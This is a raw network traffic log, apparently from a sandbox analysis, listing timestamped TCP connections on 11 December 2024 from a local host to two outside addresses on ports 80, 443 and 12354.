Dec 11, 2024 16:26:32.318193913 CET	80	59063	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:32.363673925 CET	12354	59074	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:33.766005039 CET	80	59063	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:33.766154051 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:33.769131899 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:33.769186974 CET	443	60253	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:33.769392967 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:33.769963026 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:33.769978046 CET	443	60253	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:34.236541986 CET	12354	59061	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.236624002 CET	59061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.237494946 CET	59061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.237976074 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.356947899 CET	12354	59061	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.357347012 CET	12354	60826	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.357424021 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.357824087 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.361083984 CET	12354	59074	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.361166954 CET	59074	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.361777067 CET	59074	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.362010956 CET	60939	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.477214098 CET	12354	60826	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.481089115 CET	12354	59074	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.481365919 CET	12354	60939	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:34.481462002 CET	60939	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.481581926 CET	60939	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:34.602400064 CET	12354	60939	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:35.478921890 CET	443	60253	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:35.479024887 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.479728937 CET	443	60253	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:35.480499983 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.483372927 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.483433962 CET	443	60253	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:35.483498096 CET	60253	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.598292112 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.598584890 CET	61971	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.717947960 CET	80	61971	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:35.718005896 CET	80	59063	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:35.718061924 CET	61971	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.718080044 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.737371922 CET	61971	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:35.858388901 CET	80	61971	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:36.004803896 CET	61971	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:36.004817009 CET	60939	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.004899979 CET	60826	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.005785942 CET	62420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.117647886 CET	62477	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.127501965 CET	12354	62420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:36.127598047 CET	62420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.129482031 CET	62420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.130040884 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:36.237907887 CET	12354	62477	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:36.238104105 CET	62477	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.238501072 CET	62477	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:36.251380920 CET	12354	62420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:36.251393080 CET	80	62491	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:36.251471996 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:36.252049923 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:36.357973099 CET	12354	62477	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:36.371391058 CET	80	62491	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:37.846497059 CET	80	62491	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:37.846600056 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:37.849805117 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:37.849886894 CET	443	64188	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:37.849966049 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:37.850352049 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:37.850382090 CET	443	64188	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:38.267522097 CET	12354	62420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.267622948 CET	62420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.267622948 CET	62420	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.267990112 CET	64620	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.345613003 CET	12354	62477	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.345685005 CET	62477	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.345870018 CET	62477	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.382550955 CET	64839	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.386934996 CET	12354	62420	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.387346983 CET	12354	64620	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.387415886 CET	64620	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.387924910 CET	64620	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.466489077 CET	12354	62477	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.502295971 CET	12354	64839	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.502381086 CET	64839	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.502759933 CET	64839	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:38.507203102 CET	12354	64620	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:38.623837948 CET	12354	64839	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:39.551676989 CET	443	64188	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:39.551944017 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.552428961 CET	443	64188	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:39.552548885 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.555352926 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.555408001 CET	443	64188	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:39.555461884 CET	64188	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.662406921 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.662657022 CET	49463	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.784485102 CET	80	49463	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:39.784498930 CET	80	62491	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:39.784548998 CET	49463	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.784579039 CET	62491	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.786276102 CET	49463	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:39.906188965 CET	80	49463	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:40.017452002 CET	64620	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.017466068 CET	49463	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:40.017576933 CET	64839	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.017937899 CET	49910	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.136507988 CET	50045	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.136946917 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:40.137489080 CET	12354	49910	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:40.137582064 CET	49910	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.141134977 CET	49910	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.259423971 CET	12354	50045	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:40.259443998 CET	80	50046	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:40.259522915 CET	50045	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.259581089 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:40.260037899 CET	50045	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:40.263402939 CET	12354	49910	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:40.265605927 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:40.379369974 CET	12354	50045	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:40.386200905 CET	80	50046	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:41.926738977 CET	80	50046	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:41.926799059 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:41.950508118 CET	50804	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:41.950571060 CET	443	50804	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:41.950634956 CET	50804	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:41.951199055 CET	50804	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:41.951239109 CET	443	50804	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:42.406481028 CET	12354	49910	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.406738997 CET	49910	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.407207012 CET	49910	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.407207966 CET	51424	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.518873930 CET	12354	50045	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.519949913 CET	50045	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.520323038 CET	50045	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.520921946 CET	51593	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.526443005 CET	12354	49910	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.526458979 CET	12354	51424	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.526555061 CET	51424	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.527127028 CET	51424	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.639569998 CET	12354	50045	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.640187979 CET	12354	51593	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.640511036 CET	51593	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.641252995 CET	51593	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:42.646404028 CET	12354	51424	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:42.762017965 CET	12354	51593	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:44.033809900 CET	51593	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.033849955 CET	51424	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.033876896 CET	50804	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.049340963 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.161889076 CET	52120	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.164529085 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.164654016 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.170536995 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:44.170649052 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.171128035 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.281557083 CET	12354	52120	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:44.281666994 CET	52120	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.284101009 CET	80	52122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:44.284219027 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.284245014 CET	80	50046	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:44.284435987 CET	50046	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.290460110 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:44.294317007 CET	52120	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:44.294471025 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:44.413990974 CET	12354	52120	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:44.414014101 CET	80	52122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:45.850303888 CET	80	52122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:45.850702047 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:45.855360031 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:45.855389118 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:45.855571985 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:45.857435942 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:45.857450962 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:46.283349037 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.283466101 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.284162998 CET	52000	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.284642935 CET	54323	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.400751114 CET	12354	52120	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.400861025 CET	52120	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.402654886 CET	52120	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.403395891 CET	12354	52000	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.403932095 CET	12354	54323	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.404017925 CET	54323	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.405684948 CET	54323	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.409341097 CET	54419	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.522172928 CET	12354	52120	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.524982929 CET	12354	54323	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.530904055 CET	12354	54419	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:46.531126976 CET	54419	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.531338930 CET	54419	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:46.651647091 CET	12354	54419	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:47.565666914 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.565994978 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.566431999 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.566633940 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.570194960 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.570256948 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.570422888 CET	443	54066	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.570466995 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.570569038 CET	54066	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.677396059 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.677676916 CET	55883	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.797211885 CET	80	55883	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.797226906 CET	80	52122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:47.797337055 CET	55883	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.797405005 CET	52122	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.797890902 CET	55883	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:47.917644024 CET	80	55883	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:48.072804928 CET	55883	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:48.072886944 CET	54323	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.072915077 CET	54419	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.113948107 CET	56239	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.227494955 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:48.228718042 CET	56241	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.233537912 CET	12354	56239	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:48.233603001 CET	56239	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.234216928 CET	56239	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.380559921 CET	80	56240	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:48.380577087 CET	12354	56241	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:48.380594015 CET	12354	56239	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:48.380755901 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:48.380789995 CET	56241	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.381252050 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:48.381299019 CET	56241	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:48.586986065 CET	80	56240	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:48.587002993 CET	12354	56241	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:49.939466953 CET	80	56240	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:49.940749884 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:49.943002939 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:49.943054914 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:49.943200111 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:49.943852901 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:49.943862915 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:50.346721888 CET	12354	56239	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.346776962 CET	56239	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.347342968 CET	56239	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.347605944 CET	58669	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.466541052 CET	12354	56239	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.466842890 CET	12354	58669	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.466912985 CET	58669	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.478974104 CET	58669	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.486155033 CET	12354	56241	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.486219883 CET	56241	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.486509085 CET	56241	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.486922026 CET	58756	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.598442078 CET	12354	58669	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.605844975 CET	12354	56241	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.606357098 CET	12354	58756	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:50.606427908 CET	58756	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.607491016 CET	58756	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:50.726788998 CET	12354	58756	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:51.642492056 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.642862082 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.643310070 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.643486023 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.648416042 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.648472071 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.648705959 CET	443	58376	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.648746967 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.649132967 CET	58376	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.754720926 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.754728079 CET	60302	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.874262094 CET	80	60302	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.874555111 CET	60302	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.874584913 CET	80	56240	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:51.874715090 CET	56240	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.874903917 CET	60302	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:51.994163036 CET	80	60302	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:52.127576113 CET	58669	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.127599001 CET	58756	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.127620935 CET	60302	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:52.239866018 CET	60811	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.241707087 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:52.242876053 CET	60813	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.359409094 CET	12354	60811	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:52.359493971 CET	60811	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.359920025 CET	60811	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.361279964 CET	80	60812	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:52.361344099 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:52.361753941 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:52.362750053 CET	12354	60813	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:52.362808943 CET	60813	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.363107920 CET	60813	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:52.479415894 CET	12354	60811	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:52.481020927 CET	80	60812	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:52.483310938 CET	12354	60813	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:53.948319912 CET	80	60812	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:53.948394060 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:54.013565063 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:54.013608932 CET	443	62469	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:54.013979912 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:54.014794111 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:54.014805079 CET	443	62469	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:54.486984968 CET	12354	60813	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.487041950 CET	60813	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.487144947 CET	12354	60811	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.487185955 CET	60811	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.487308979 CET	60813	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.487890959 CET	62747	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.489830971 CET	60811	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.608710051 CET	12354	60813	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.611363888 CET	12354	62747	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.611464024 CET	62747	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.612427950 CET	12354	60811	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.634424925 CET	62747	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.675228119 CET	62754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.755357027 CET	12354	62747	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.795216084 CET	12354	62754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:54.795305967 CET	62754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.795886993 CET	62754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:54.915884018 CET	12354	62754	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:55.712435007 CET	443	62469	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:55.712513924 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.713481903 CET	443	62469	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:55.713557005 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.717319012 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.717365980 CET	443	62469	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:55.717406988 CET	62469	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.834202051 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.834657907 CET	63950	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.955064058 CET	80	60812	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:55.955128908 CET	60812	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.955255985 CET	80	63950	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:55.955503941 CET	63950	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:55.968209982 CET	63950	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:56.087640047 CET	80	63950	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:56.253310919 CET	63950	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:56.253329039 CET	62747	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.253376007 CET	62754	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.254024982 CET	64340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.367240906 CET	64411	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.367940903 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:56.373994112 CET	12354	64340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:56.374088049 CET	64340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.374541044 CET	64340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.486571074 CET	12354	64411	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:56.486669064 CET	64411	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:56.486988068 CET	64411	12354	192.168.2.9	107.163.241.204
